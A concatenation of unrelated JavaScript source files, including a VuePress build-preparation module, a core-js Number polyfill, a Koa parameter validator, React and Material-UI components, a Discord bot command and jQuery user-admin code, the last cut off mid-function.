width: 180,
height: 180,
borderRadius: 62,
borderWidth: 0,
},
nameInfo: {
marginTop: 35,
},
divider: {
width: '90%',
borderWidth: 1,
borderColor: '#E9ECEF',
},
thumb: {
borderRadius: 4,
marginVertical: 4,
alignSelf: 'center',
width: thumbMeasure,
height: thumbMeasure,
},
});
export default CCInput;
|
const path = require('path')
const fs = require('fs-extra')
const globby = require('globby')
const yamlParser = require('js-yaml')
const tomlParser = require('toml')
const createMarkdown = require('./markdown')
const tempPath = path.resolve(__dirname, 'app/.temp')
const {
inferTitle,
extractHeaders,
parseFrontmatter,
getGitLastUpdatedTimeStamp
} = require('./util')
fs.ensureDirSync(tempPath)
const tempCache = new Map()
async function writeTemp (file, content) {
// cache write to avoid hitting the dist if it didn't change
const cached = tempCache.get(file)
if (cached !== content) {
await fs.writeFile(path.join(tempPath, file), content)
tempCache.set(file, content)
}
}
async function writeEnhanceTemp (destName, srcPath) {
await writeTemp(
destName,
fs.existsSync(srcPath)
? `export { default } from ${JSON.stringify(srcPath)}`
: `export default function () {}`
)
}
module.exports = async function prepare (sourceDir) {
// 1. load options
const options = await resolveOptions(sourceDir)
// 2. generate routes & user components registration code
const routesCode = await genRoutesFile(options)
const componentCode = await genComponentRegistrationFile(options)
await writeTemp('routes.js', [
componentCode,
routesCode
].join('\n\n'))
// 3. generate siteData
const dataCode = `export const siteData = ${JSON.stringify(options.siteData, null, 2)}`
await writeTemp('siteData.js', dataCode)
// 4. generate basic polyfill if need to support older browsers
let polyfillCode = ``
if (!options.siteConfig.evergreen) {
polyfillCode =
`import 'es6-promise/auto'
if (!Object.assign) Object.assign = require('object-assign')`
}
await writeTemp('polyfill.js', polyfillCode)
// 5. handle user override
const overridePath = path.resolve(sourceDir, '.vuepress/override.styl')
const hasUserOverride = options.useDefaultTheme && fs.existsSync(overridePath)
await writeTemp(`override.styl`, hasUserOverride ? `@import(${JSON.stringify(overridePath)})` : ``)
// 6. handle enhanceApp.js
const enhanceAppPath = path.resolve(sourceDir, '.vuepress/enhanceApp.js')
await writeEnhanceTemp('enhanceApp.js', enhanceAppPath)
// 7. handle the theme enhanceApp.js
await writeEnhanceTemp('themeEnhanceApp.js', options.themeEnhanceAppPath)
return options
}
async function resolveOptions (sourceDir) {
const vuepressDir = path.resolve(sourceDir, '.vuepress')
const configPath = path.resolve(vuepressDir, 'config.js')
const configYmlPath = path.resolve(vuepressDir, 'config.yml')
const configTomlPath = path.resolve(vuepressDir, 'config.toml')
delete require.cache[configPath]
// resolve siteConfig
let siteConfig = {}
if (fs.existsSync(configYmlPath)) {
siteConfig = await parseConfig(configYmlPath)
} else if (fs.existsSync(configTomlPath)) {
siteConfig = await parseConfig(configTomlPath)
} else if (fs.existsSync(configPath)) {
siteConfig = require(configPath)
}
// normalize head tag urls for base
const base = siteConfig.base || '/'
if (base !== '/' && siteConfig.head) {
siteConfig.head.forEach(tag => {
const attrs = tag[1]
if (attrs) {
for (const name in attrs) {
if (name === 'src' || name === 'href') {
const value = attrs[name]
if (value.charAt(0) === '/') {
attrs[name] = base + value.slice(1)
}
}
}
}
})
}
// resolve outDir
const outDir = siteConfig.dest
? path.resolve(siteConfig.dest)
: path.resolve(sourceDir, '.vuepress/dist')
// resolve theme
const useDefaultTheme = (
!siteConfig.theme &&
!fs.existsSync(path.resolve(vuepressDir, 'theme'))
)
const defaultThemePath = path.resolve(__dirname, 'default-theme')
let themePath = null
let themeLayoutPath = null
let themeNotFoundPath = null
let themeEnhanceAppPath = null
if (useDefaultTheme) {
// use default theme
themePath = defaultThemePath
themeLayoutPath = path.resolve(defaultThemePath, 'Layout.vue')
themeNotFoundPath = path.resolve(defaultThemePath, 'NotFound.vue')
} else {
// resolve theme Layout
if (siteConfig.theme) {
// use external theme
try {
themeLayoutPath = require.resolve(`vuepress-theme-${siteConfig.theme}/Layout.vue`)
themePath = path.dirname(themeLayoutPath)
} catch (e) {
throw new Error(`[vuepress] Failed to load custom theme "${
siteConfig.theme
}". File vuepress-theme-${siteConfig.theme}/Layout.vue does not exist.`)
}
} else {
// use custom theme
themePath = path.resolve(vuepressDir, 'theme')
themeLayoutPath = path.resolve(themePath, 'Layout.vue')
if (!fs.existsSync(themeLayoutPath)) {
throw new Error(`[vuepress] Cannot resolve Layout.vue file in .vuepress/theme.`)
}
}
// resolve theme NotFound
themeNotFoundPath = path.resolve(themePath, 'NotFound.vue')
if (!fs.existsSync(themeNotFoundPath)) {
themeNotFoundPath = path.resolve(defaultThemePath, 'NotFound.vue')
}
// resolve theme enhanceApp
themeEnhanceAppPath = path.resolve(themePath, 'enhanceApp.js')
if (!fs.existsSync(themeEnhanceAppPath)) {
themeEnhanceAppPath = null
}
}
// resolve theme config
const themeConfig = siteConfig.themeConfig || {}
// resolve algolia
const isAlgoliaSearch = (
themeConfig.algolia ||
Object.keys(siteConfig.locales && themeConfig.locales || {})
.some(base => themeConfig.locales[base].algolia)
)
// resolve markdown
const markdown = createMarkdown(siteConfig)
// resolve pageFiles
const pageFiles = sort(await globby(['**/*.md', '!.vuepress', '!node_modules'], { cwd: sourceDir }))
// resolve lastUpdated
const shouldResolveLastUpdated = (
themeConfig.lastUpdated ||
Object.keys(siteConfig.locales && themeConfig.locales || {})
.some(base => themeConfig.locales[base].lastUpdated)
)
// resolve pagesData
const pagesData = await Promise.all(pageFiles.map(async (file) => {
const filepath = path.resolve(sourceDir, file)
const data = {
path: fileToPath(file)
}
if (shouldResolveLastUpdated) {
data.lastUpdated = getGitLastUpdatedTimeStamp(filepath)
}
// extract yaml frontmatter
const content = await fs.readFile(filepath, 'utf-8')
const frontmatter = parseFrontmatter(content)
// infer title
const title = inferTitle(frontmatter)
if (title) {
data.title = title
}
const headers = extractHeaders(
frontmatter.content,
['h2', 'h3'],
markdown
)
if (headers.length) {
data.headers = headers
}
if (Object.keys(frontmatter.data).length) {
data.frontmatter = frontmatter.data
}
if (frontmatter.excerpt) {
data.excerpt = frontmatter.excerpt
}
return data
}))
// resolve site data
const siteData = {
title: siteConfig.title || '',
description: siteConfig.description || '',
base,
pages: pagesData,
themeConfig,
locales: siteConfig.locales
}
const options = {
siteConfig,
siteData,
sourceDir,
outDir,
publicPath: base,
pageFiles,
pagesData,
themePath,
themeLayoutPath,
themeNotFoundPath,
themeEnhanceAppPath,
useDefaultTheme,
isAlgoliaSearch,
markdown
}
return options
}
async function genComponentRegistrationFile ({ sourceDir }) {
function genImport (file) {
const name = fileToComponentName(file)
const baseDir = path.resolve(sourceDir, '.vuepress/components')
const absolutePath = path.resolve(baseDir, file)
const code = `Vue.component(${JSON.stringify(name)}, () => import(${JSON.stringify(absolutePath)}))`
return code
}
const components = (await resolveComponents(sourceDir)) || []
return `import Vue from 'vue'\n` + components.map(genImport).join('\n')
}
const indexRE = /(^|.*\/)(index|readme)\.md$/i
const extRE = /\.(vue|md)$/
function fileToPath (file) {
if (isIndexFile(file)) {
// README.md -> /
// foo/README.md -> /foo/
return file.replace(indexRE, '/$1')
} else {
// foo.md -> /foo.html
// foo/bar.md -> /foo/bar.html
return `/${file.replace(extRE, '').replace(/\\/g, '/')}.html`
}
}
function fileToComponentName (file) {
let normalizedName = file
.replace(/\/|\\/g, '-')
.replace(extRE, '')
if (isIndexFile(file)) {
normalizedName = normalizedName.replace(/readme$/i, 'index')
}
const pagePrefix = /\.md$/.test(file) ? `page-` : ``
return `${pagePrefix}${normalizedName}`
}
function isIndexFile (file) {
return indexRE.test(file)
}
async function resolveComponents (sourceDir) {
const componentDir = path.resolve(sourceDir, '.vuepress/components')
if (!fs.existsSync(componentDir)) {
return
}
return sort(await globby(['**/*.vue'], { cwd: componentDir }))
}
async function genRoutesFile ({ siteData: { pages }, sourceDir, pageFiles }) {
function genRoute ({ path: pagePath }, index) {
const file = pageFiles[index]
const filePath = path.resolve(sourceDir, file)
let code = `
{
path: ${JSON.stringify(pagePath)},
component: ThemeLayout,
beforeEnter: (to, from, next) => {
import(${JSON.stringify(filePath)}).then(comp => {
Vue.component(${JSON.stringify(fileToComponentName(file))}, comp.default)
next()
})
}
}`
if (/\/$/.test(pagePath)) {
code += `,
{
path: ${JSON.stringify(pagePath + 'index.html')},
redirect: ${JSON.stringify(pagePath)}
}`
}
return code
}
const notFoundRoute = `,
{
path: '*',
component: ThemeNotFound
}`
return (
`import ThemeLayout from '@themeLayout'\n` +
`import ThemeNotFound from '@themeNotFound'\n` +
`export const routes = [${pages.map(genRoute).join(',')}${notFoundRoute}\n]`
)
}
function sort (arr) {
return arr.sort((a, b) => {
if (a < b) return -1
if (a > b) return 1
return 0
})
}
async function parseConfig (file) {
const content = await fs.readFile(file, 'utf-8')
const [extension] = /.\w+$/.exec(file)
let data
switch (extension) {
case '.yml':
case '.yaml':
data = yamlParser.safeLoad(content)
break
case '.toml':
data = tomlParser.parse(content)
// reformat to match config since TOML does not allow different data type
// https://github.com/toml-lang/toml#array
const format = []
Object.keys(data.head).forEach(meta => {
data.head[meta].forEach(values => {
format.push([meta, values])
})
})
data.head = format
break
}
return data || {}
}
|
let fs = require('fs')
require('../global')
let configUtil = require('../../config/configUtil')
configUtil.reloadConfig()
let vpp = require('../fs-vpp');
let result;
console.log('dbg', c2real(`/Users/zhanglei/workspaces/apps-ingage-web/src/main/webapp/static/source/core/i18n/all_zh-cn`));
console.log('r1:', fs.existsSync(c2real(`/Users/zhanglei/workspaces/apps-ingage-web/src/main/webapp/static/source/core/i18n/all_zh-cn`)))
console.log('r2:', fs.existsSync(c2real(`/Users/zhanglei/workspaces/apps-ingage-web/src/main/webapp/static/source/core/rkloader`)))
console.log('r3:', fs.existsSync(c2real(`/Users/zhanglei/workspaces/apps-ingage-web/src/main/webapp/static/source/page/tmpl/privatemsg/groupSet.tpl`)))
console.log('r11:', fs.existsSync(c2real(`/Users/zhanglei/workspaces/subprojects/apps-ingage-web/src/main/webapp/static/source/core/i18n/all_zh-cn`)))
console.log('r21:', fs.existsSync(c2real(`/Users/zhanglei/workspaces/subprojects/apps-ingage-web/src/main/webapp/static/source/core/rkloader`)))
console.log('r31:', fs.existsSync(c2real(`/Users/zhanglei/workspaces/subprojects/apps-ingage-web/src/main/webapp/static/source/page/tmpl/privatemsg/groupSet.tpl`)))
console.log('r81:', fs.existsSync(c2real(`/Users/zhanglei/workspaces/subprojects/xsy-static-creekflow/embeded/isv.js`)))
console.log('r4:', fs.existsSync(c2real(`/Users/zhanglei/workspaces/subprojects/xsy-static-creekflow/src/main/webapp/static/router.js`)))
console.log('r5:', fs.existsSync(c2real(`/Users/zhanglei/workspaces/subprojects/xsy-static-creekflow/static/source/core/rk.crm`)))
console.log('r6:', fs.existsSync(c2real(`/Users/zhanglei/workspaces/subprojects/xsy-static-creekflow/static/source/core/rk.crm.js`)))
console.log('r7:', fs.existsSync(c2real(`/Users/zhanglei/workspaces/subprojects/xsy-static-creekflow/static/router.js`)))
console.log('r8:', fs.existsSync(c2real(`/Users/zhanglei/workspaces/subprojects/xsy-static-creekflow/embeded/isv.js`)))
// console.log('v:', c2virtual(`/Users/zhanglei/workspaces/subprojects/apps-ingage-web/src/main/webapp/static/router.js`))
// console.log('v:', c2virtual(`/Users/zhanglei/workspaces/subprojects/xsy-static-creekflow/static/source/core/rk.crm.js`))
// console.log('r2v2r:', c2real(c2virtual(`/Users/zhanglei/workspaces/subprojects/xsy-static-creekflow/static/source/core/rk.crm.js`)))
return;
console.log('src:', rk_getSourceDir(`/Users/zhanglei/workspaces/subprojects/apps-ingage-web/src/main/webapp/static/router.js`))
console.log('src:', rk_getSourceDir(`/Users/zhanglei/workspaces/subprojects/xsy-static-creekflow/static/source/core/rk.crm.js`))
console.log('pid:', rk_getPathId(`/Users/zhanglei/workspaces/subprojects/apps-ingage-web/src/main/webapp/static/router.js`))
console.log('pid:', rk_getPathId(`/Users/zhanglei/workspaces/subprojects/xsy-static-creekflow/static/source/core/rk.crm.js`))
console.log('pid:', rk_getPathId(`/Users/zhanglei/workspaces/subprojects/xsy-static-creekflow/static/source/core//sth//static/source//rk.crm.js`))
console.log('pid2:', vpp.changeRealPathToPathId(`/Users/zhanglei/workspaces/subprojects/apps-ingage-web/src/main/webapp/static/router.js`))
console.log('pid2:', vpp.changeRealPathToPathId(`/Users/zhanglei/workspaces/subprojects/xsy-static-creekflow/static/source/core/rk.crm.js`))
console.log('pid2:', vpp.changeRealPathToPathId(`/Users/zhanglei/workspaces/subprojects/xsy-static-creekflow/static/source/core//sth//static/source//rk.crm.js`))
vpp.eachSourceFolders((f)=>{
console.log(f);
})
console.log(vpp.changePathIdToRealPath('core/rk.crm.js'))
console.log(vpp.changePathIdToRealPath('designer/common/designer'))
console.log(vpp.changePathIdToRealPath('xxx/yyy'))
|
'use strict';
var global = require('../internals/global');
var isForced = require('../internals/is-forced');
var has = require('../internals/has');
var classof = require('../internals/classof-raw');
var inheritIfRequired = require('../internals/inherit-if-required');
var toPrimitive = require('../internals/to-primitive');
var fails = require('../internals/fails');
var getOwnPropertyNames = require('../internals/object-get-own-property-names').f;
var getOwnPropertyDescriptor = require('../internals/object-get-own-property-descriptor').f;
var defineProperty = require('../internals/object-define-property').f;
var internalTrim = require('../internals/string-trim').trim;
var NUMBER = 'Number';
var NativeNumber = global[NUMBER];
var NumberPrototype = NativeNumber.prototype;
// Opera ~12 has broken Object#toString
var BROKEN_CLASSOF = classof(require('../internals/object-create')(NumberPrototype)) == NUMBER;
var NATIVE_TRIM = 'trim' in String.prototype;
// `ToNumber` abstract operation
// https://tc39.github.io/ecma262/#sec-tonumber
var toNumber = function (argument) {
var it = toPrimitive(argument, false);
if (typeof it == 'string' && it.length > 2) {
it = NATIVE_TRIM ? it.trim() : internalTrim(it, 3);
var first = it.charCodeAt(0);
var third, radix, maxCode;
if (first === 43 || first === 45) {
third = it.charCodeAt(2);
if (third === 88 || third === 120) return NaN; // Number('+0x1') should be NaN, old V8 fix
} else if (first === 48) {
switch (it.charCodeAt(1)) {
case 66: case 98: radix = 2; maxCode = 49; break; // fast equal of /^0b[01]+$/i
case 79: case 111: radix = 8; maxCode = 55; break; // fast equal of /^0o[0-7]+$/i
default: return +it;
}
for (var digits = it.slice(2), i = 0, l = digits.length, code; i < l; i++) {
code = digits.charCodeAt(i);
// parseInt parses a string to a first unavailable symbol
// but ToNumber should return NaN if a string contains unavailable symbols
if (code < 48 || code > maxCode) return NaN;
} return parseInt(digits, radix);
}
} return +it;
};
// `Number` constructor
// https://tc39.github.io/ecma262/#sec-number-constructor
if (isForced(NUMBER, !NativeNumber(' 0o1') || !NativeNumber('0b1') || NativeNumber('+0x1'))) {
var NumberWrapper = function Number(value) {
var it = arguments.length < 1 ? 0 : value;
var that = this;
return that instanceof NumberWrapper
// check on 1..constructor(foo) case
&& (BROKEN_CLASSOF ? fails(function () { NumberPrototype.valueOf.call(that); }) : classof(that) != NUMBER)
? inheritIfRequired(new NativeNumber(toNumber(it)), that, NumberWrapper) : toNumber(it);
};
for (var keys = require('../internals/descriptors') ? getOwnPropertyNames(NativeNumber) : (
// ES3:
'MAX_VALUE,MIN_VALUE,NaN,NEGATIVE_INFINITY,POSITIVE_INFINITY,' +
// ES2015 (in case, if modules with ES2015 Number statics required before):
'EPSILON,isFinite,isInteger,isNaN,isSafeInteger,MAX_SAFE_INTEGER,' +
'MIN_SAFE_INTEGER,parseFloat,parseInt,isInteger'
).split(','), j = 0, key; keys.length > j; j++) {
if (has(NativeNumber, key = keys[j]) && !has(NumberWrapper, key)) {
defineProperty(NumberWrapper, key, getOwnPropertyDescriptor(NativeNumber, key));
}
}
NumberWrapper.prototype = NumberPrototype;
NumberPrototype.constructor = NumberWrapper;
require('../internals/redefine')(global, NUMBER, NumberWrapper);
}
|
/**
* Lin-Validator v1
* 作者：7七月
* 微信公众号：林间有风
*/
const validator = require('validator')
const {
ParameterException
} = require('./http-exception')
const {
get,
last,
set,
cloneDeep
} = require("lodash")
const {
findMembers
} = require('./util')
class LinValidator {
constructor() {
this.data = {}
this.parsed = {}
}
_assembleAllParams(ctx) {
return {
body: ctx.request.body,
query: ctx.request.query,
path: ctx.params,
header: ctx.request.header
}
}
get(path, parsed = true) {
if (parsed) {
const value = get(this.parsed, path, null)
if (value == null) {
const keys = path.split('.')
const key = last(keys)
return get(this.parsed.default, key)
}
return value
} else {
return get(this.data, path)
}
}
_findMembersFilter(key) {
if (/validate([A-Z])\w+/g.test(key)) {
return true
}
if (this[key] instanceof Array) {
this[key].forEach(value => {
const isRuleType = value instanceof Rule
if (!isRuleType) {
throw new Error('验证数组必须全部为Rule类型')
}
})
return true
}
return false
}
validate(ctx, alias = {}) {
this.alias = alias
let params = this._assembleAllParams(ctx)
this.data = cloneDeep(params)
this.parsed = cloneDeep(params)
const memberKeys = findMembers(this, {
filter: this._findMembersFilter.bind(this)
})
const errorMsgs = []
// const map = new Map(memberKeys)
for (let key of memberKeys) {
const result = this._check(key, alias)
if (!result.success) {
errorMsgs.push(result.msg)
}
}
if (errorMsgs.length != 0) {
throw new ParameterException(errorMsgs)
}
ctx.v = this
return this
}
_check(key, alias = {}) {
const isCustomFunc = typeof (this[key]) == 'function' ? true : false
let result;
if (isCustomFunc) {
try {
this[key](this.data)
result = new RuleResult(true)
} catch (error) {
result = new RuleResult(false, error.msg || error.message || '参数错误')
}
// 函数验证
} else {
// 属性验证, 数组，内有一组Rule
const rules = this[key]
const ruleField = new RuleField(rules)
// 别名替换
key = alias[key] ? alias[key] : key
const param = this._findParam(key)
result = ruleField.validate(param.value)
if (result.pass) {
// 如果参数路径不存在，往往是因为用户传了空值，而又设置了默认值
if (param.path.length == 0) {
set(this.parsed, ['default', key], result.legalValue)
} else {
set(this.parsed, param.path, result.legalValue)
}
}
}
if (!result.pass) {
const msg = `${isCustomFunc ? '' : key}${result.msg}`
return {
msg: msg,
success: false
}
}
return {
msg: 'ok',
success: true
}
}
_findParam(key) {
let value
value = get(this.data, ['query', key])
if (value) {
return {
value,
path: ['query', key]
}
}
value = get(this.data, ['body', key])
if (value) {
return {
value,
path: ['body', key]
}
}
value = get(this.data, ['path', key])
if (value) {
return {
value,
path: ['path', key]
}
}
value = get(this.data, ['header', key])
if (value) {
return {
value,
path: ['header', key]
}
}
return {
value: null,
path: []
}
}
}
class RuleResult {
constructor(pass, msg = '') {
Object.assign(this, {
pass,
msg
})
}
}
class RuleFieldResult extends RuleResult {
constructor(pass, msg = '', legalValue = null) {
super(pass, msg)
this.legalValue = legalValue
}
}
class Rule {
constructor(name, msg, ...params) {
Object.assign(this, {
name,
msg,
params
})
}
validate(field) {
if (this.name == 'optional')
return new RuleResult(true)
if (!validator[this.name](field + '', ...this.params)) {
return new RuleResult(false, this.msg || this.message || '参数错误')
}
return new RuleResult(true, '')
}
}
class RuleField {
constructor(rules) {
this.rules = rules
}
validate(field) {
if (field == null) {
// 如果字段为空
const allowEmpty = this._allowEmpty()
const defaultValue = this._hasDefault()
if (allowEmpty) {
return new RuleFieldResult(true, '', defaultValue)
} else {
return new RuleFieldResult(false, '字段是必填参数')
}
}
const filedResult = new RuleFieldResult(false)
for (let rule of this.rules) {
let result = rule.validate(field)
if (!result.pass) {
filedResult.msg = result.msg
filedResult.legalValue = null
// 一旦一条校验规则不通过，则立即终止这个字段的验证
return filedResult
}
}
return new RuleFieldResult(true, '', this._convert(field))
}
_convert(value) {
for (let rule of this.rules) {
if (rule.name == 'isInt') {
return parseInt(value)
}
if (rule.name == 'isFloat') {
return parseFloat(value)
}
if (rule.name == 'isBoolean') {
return value ? true : false
}
}
return value
}
_allowEmpty() {
for (let rule of this.rules) {
if (rule.name == 'optional') {
return true
}
}
return false
}
_hasDefault() {
for (let rule of this.rules) {
const defaultValue = rule.params[0]
if (rule.name == 'optional') {
return defaultValue
}
}
}
}
module.exports = {
Rule,
LinValidator
}
|
/** @jsx React.DOM */
/*
* 画像のviewを提供する
* componentWillMount()にてmbaasから画像データを取得し、base64エンコーディングして表示する
*/
(function(definition){
Item = definition();
})(function(){
var Item = React.createClass({
componentWillMount: function(){
var that = this;
var fileName = this.props.fileName;
MbaasUtil.getImageData(fileName).then(function(data){
that.setState({imgData:data});
});
},
renderImage: function(){
if(this.state && this.state.imgData){
return <img src={"data:image/jpeg;base64," + window.btoa(this.state.imgData)} />;
}
},
render: function() {
return (
<div className={this.props.actived ? "item active" : "item"}>
{this.renderImage()}
</div>
);
}
});
return Item;
});
|
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }
import React from 'react';
import PropTypes from 'prop-types';
import classNames from 'classnames';
import withStyles from '../styles/withStyles';
export const styles = theme => ({
root: {
fontSize: theme.typography.pxToRem(12),
fontWeight: theme.typography.fontWeightMedium,
color: theme.palette.text.secondary
}
});
class TableHead extends React.Component {
getChildContext() {
// eslint-disable-line class-methods-use-this
return {
table: {
head: true
}
};
}
render() {
const _props = this.props,
{
classes,
className: classNameProp,
children,
component: ComponentProp
} = _props,
other = _objectWithoutProperties(_props, ['classes', 'className', 'children', 'component']);
const className = classNames(classes.root, classNameProp);
return React.createElement(
ComponentProp,
_extends({ className: className }, other),
children
);
}
}
TableHead.defaultProps = {
component: 'thead'
};
TableHead.childContextTypes = {
table: PropTypes.object
};
export default withStyles(styles, { name: 'MuiTableHead' })(TableHead);
|
module.exports = {
'pure-white': '#ffffff',
'warm-white': '#f9f6da',
'polar-white': '#feeaca',
'soft-white': '#fbf5ea',
'antique-white': '#faf6ea',
'incandescent-white': '#f6e89f',
'gold': '#f9c718',
'red': '#ff0000',
'orange': '#ffb000',
'golden-yellow': '#ffcf00',
'acid-yellow': '#beec05',
'chartreuse': '#77fe00',
'green': '#00ff00',
'mint': '#00ff9c',
'turquoise': '#00e0ff',
'blue': '#009cff',
'royal-blue': '#0000ff',
'lavender': '#ab46fa',
'pink': '#c400ff',
'fushia': '#da14d2',
'purple': '#9600ff'
}
|
const path = require('path');
const metamarked = require('meta-marked');
const fs = require('fs');
const PAGE_MARKDOWN_PATH = path.join(__dirname, './posts');
const PAGE_OUTPUT_PATH = path.join(__dirname, './dist/posts');
const loadMarkdownPage = (mdFilename) => {
const mdPath = path.join(
PAGE_MARKDOWN_PATH, mdFilename
);
const mdBuffer = fs.readFileSync(mdPath);
return mdBuffer.toString();
}
const parseMarkdown = (mdString = '') => {
return metamarked(mdString.toString());
}
let routes = fs.readdirSync(PAGE_MARKDOWN_PATH)
module.exports = [
...routes.map((route) => {
let mdString = loadMarkdownPage(route);
let md = parseMarkdown(mdString);
let MDtitle = md.meta.title
let MDdisc = md.meta.disc
let MDpath = md.meta.path
return {
title: `${MDtitle}`,
disc: `${MDdisc}`,
filename: path.join(PAGE_OUTPUT_PATH, `${MDpath}.html`),
template: './src/postsTemplate.pug',
inject: true,
bodyHTML: md.html
}
})
];
|
import Character from "../../database/models/Character";
import Submission from "../../database/models/Submission";
import { Command } from "karasu";
import fs from "fs";
import path from "path";
export default class LinkCommand extends Command {
constructor(bot) {
super(bot, "link", {
description: "link-desc",
subCommands: [
new VerifyCommand(bot),
new DumpCommand(bot),
new LoadCommand(bot)
],
category: "anime"
});
}
run() {
return ["link-link", { url: `${process.env.HOST_URL}/crowdsource` }];
}
}
class VerifyCommand extends Command {
constructor(bot) {
super(bot, "verify", {
description: "link-verify-desc",
ownerOnly: true
});
}
async run(msg, _, __, respond) {
for (; ;) {
const submission = await Submission.random();
if (!submission) return ["link-empty-backlog"];
const character = await Character.findOne({ anidb_id: submission.anidb_id });
const user = this.bot.users.find(user => user.id === submission.user_id);
await msg.channel.createMessage({
embed: {
title: `${character.name} from ${character.animes.map(a => a.title).join(", ")}`,
image: {
url: character.photos[0]
},
footer: {
icon_url: user.avatarURL,
text: `Submitted by ${user.username}#${user.discriminator}`
}
}
});
await msg.channel.createMessage(`https://myanimelist.net/character/${submission.mal_id}`);
let response = await this.bot.collectorManager.awaitMessages({
limit: 1,
timeout: 120000,
filter: m => m.author.id === msg.author.id && m.channel.id === msg.channel.id
});
if (response) {
response = response.content;
if (response === "ok") {
character.mal_id = submission.mal_id;
} else if (response === "skip") {
continue;
} else if (response === "exit") {
msg.channel.createMessage("Ending");
break;
} else if (response !== "clear") {
break;
}
await Submission.findByIdAndDelete(submission._id);
const newDoc = await character.save();
respond(["link-linked", { name: newDoc.name, id: newDoc.mal_id }]);
} else {
break;
}
}
}
}
const dumpFile = "../../../cache/dump.js";
class DumpCommand extends Command {
constructor(bot) {
super(bot, "dump", {
description: "link-dump-desc",
ownerOnly: true
});
}
async run() {
const characters = await Character.find({ mal_id: { $exists: true } });
const links = characters.map(c => [c.anidb_id[0], c.mal_id]);
const content = `export const links = ${JSON.stringify(links)};`;
fs.writeFileSync(path.join(__dirname, dumpFile), content);
return ["link-dumped", { characters: characters.length }];
}
}
class LoadCommand extends Command {
constructor(bot) {
super(bot, "load", {
description: "link-load-desc",
ownerOnly: true
});
}
async run() {
delete require.cache[require.resolve(dumpFile)];
const { links } = require(dumpFile);
for (const link of links) {
await Character.findOneAndUpdate({ anidb_id: link[0] }, { mal_id: link[1] });
}
return ["link-loaded", { characters: links.length }];
}
}
|
//-----------------------------Xem chi tiết thông tin user-------------------------------
$(document).ready(function() {
toastr.options = {
"closeButton": false,
"debug": false,
"newestOnTop": false,
"progressBar": false,
"positionClass": "toast-top-right",
"preventDuplicates": false,
"onclick": null,
"showDuration": "300",
"hideDuration": "1000",
"timeOut": "5000",
"extendedTimeOut": "1000",
"showEasing": "swing",
"hideEasing": "linear",
"showMethod": "fadeIn",
"hideMethod": "fadeOut"
};
$('#repalceTable').delegate('.btn-detail', 'click', function() {
var value = $(this).data('id');
var url = 'user-info';
$.ajax({
type: 'get',
url: url,
data: {
'id': value
},
success: function(data) {
console.log(data);
$('#infoID').val(data.info_user.id);
$('#infoName').val(data.info_user.name);
$('#infoEmail').val(data.info_user.email);
$('#infoBirthday').val(data.info_user.birthday);
$('#infoMobile').val(data.info_user.mobile);
$('#infoFacebook').val(data.info_user.facebook);
$('#infoSkype').val(data.info_user.skype);
$('#infoWorkFace').val(data.info_user.work_place);
$('#infoAddress').val(data.info_user.address);
$('#infoSkill').val(data.info_user.skill);
$('#infoPosition').val(data.info_user.position);
$('#infoEducation').val(data.info_user.education_info);
var gender = data.info_user.gender;
var type = data.info_user.type;
var status = data.info_user.status;
for (var i = 1; i < 4; i++) {
if (gender == i) {
$('#infoGender option[value=' + gender + ']').attr('selected', 'selected');
}
if (type == i) {
$('#infoType option[value=' + type + ']').attr('selected', 'selected');
}
if (status == i) {
$('#infoStatus option[value=' + status + ']').attr('selected', 'selected');
}
}
//hiện popup
$('#User-modal-info').modal('show');
//xóa các option cũ
$('#roles_user')
.find('option')
.remove()
.end();
//in ra quyền
for (var i = 0; i < data.info_roles_user.length; i++) {
if (data.info_roles_user[i].role_id == 1) {
$('#roles_user').append($('<option>', {
value: 1,
text: 'superadmin'
}));
}
if (data.info_roles_user[i].role_id == 2) {
$('#roles_user').append($('<option>', {
value: 2,
text: 'admin'
}));
}
if (data.info_roles_user[i].role_id == 3) {
$('#roles_user').append($('<option>', {
value: 3,
text: 'teacher'
}));
}
if (data.info_roles_user[i].role_id == 4) {
$('#roles_user').append($('<option>', {
value: 4,
text: 'teaching assistant'
}));
}
if (data.info_roles_user[i].role_id == 5) {
$('#roles_user').append($('<option>', {
value: 5,
text: 'mod'
}));
}
}
}
});
});
//-------------------end view info-----------------------------
//-------------------Begin View Edit User---------------------------------
$('#repalceTable').delegate('.btn-edit', 'click', function() {
var value = $(this).data('id');
$('#editEmail').attr('data-id', value);
$('#editMobile').attr('data-id', value);
var url = 'user-update';
$.ajax({
type: 'get',
url: url,
data: {
'id': value
},
success: function(data) {
console.log(data);
$('#editID').val(data.get_user_update.id);
$('#editName').val(data.get_user_update.name);
$('#editEmail').val(data.get_user_update.email);
$('#editBirthday').val(data.get_user_update.birthday);
$('#editMobile').val(data.get_user_update.mobile);
$('#editFacebook').val(data.get_user_update.facebook);
$('#editSkype').val(data.get_user_update.skype);
$('#editWorkFace').val(data.get_user_update.work_place);
$('#editAddress').val(data.get_user_update.address);
$('#editSkill').val(data.get_user_update.skill);
$('#editPosition').val(data.get_user_update.position);
$('#editEducation').val(data.get_user_update.education_info);
var gender = data.get_user_update.gender;
var type = data.get_user_update.type;
var status = data.get_user_update.status;
// Xóa bỏ tất cả các selected
$("#editRole").find('option').removeAttr("selected");
//selected role user
for (var i = 0; i < data.roles_user_info.length; i++) {
$('#select_role' + data.roles_user_info[i].role_id).prop('selected', true);
}
for (var i = 1; i < 5; i++) {
if (gender == i) {
$('#editGender option[value=' + gender + ']').attr('selected', 'selected');
}
if (type == i) {
$('#editType option[value=' + type + ']').attr('selected', 'selected');
}
if (status == i) {
$('#editStatus option[value=' + status + ']').attr('selected', 'selected');
}
}
$('#User-modal-edit').modal('show');
$('.error').hide();
}
});
});
//-------------------------End view edit------------------------------------------
//-------------------------Begin submit postUpdate--------------------------------
$('#frmEditUser').on('submit', function(e) {
$.ajaxSetup({
headers: {
'X-CSRF-TOKEN': $('meta[name="_token"]').attr('content')
}
});
e.preventDefault();
var userID = $('#editID').val();
var formData = $('#frmEditUser').serialize();
var url = 'user-update';
$.ajax({
type: 'put',
url: url,
data: formData,
success: function(data) {
console.log(data);
if (data.error == true) {
// $('.error').hide();
// if (data.message.editName != undefined) {
// $('.errorName').show().text(data.message.editName[0]);
// }
// if (data.message.editMobile != undefined) {
// $('.errorMobile').show().text(data.message.editMobile[0]);
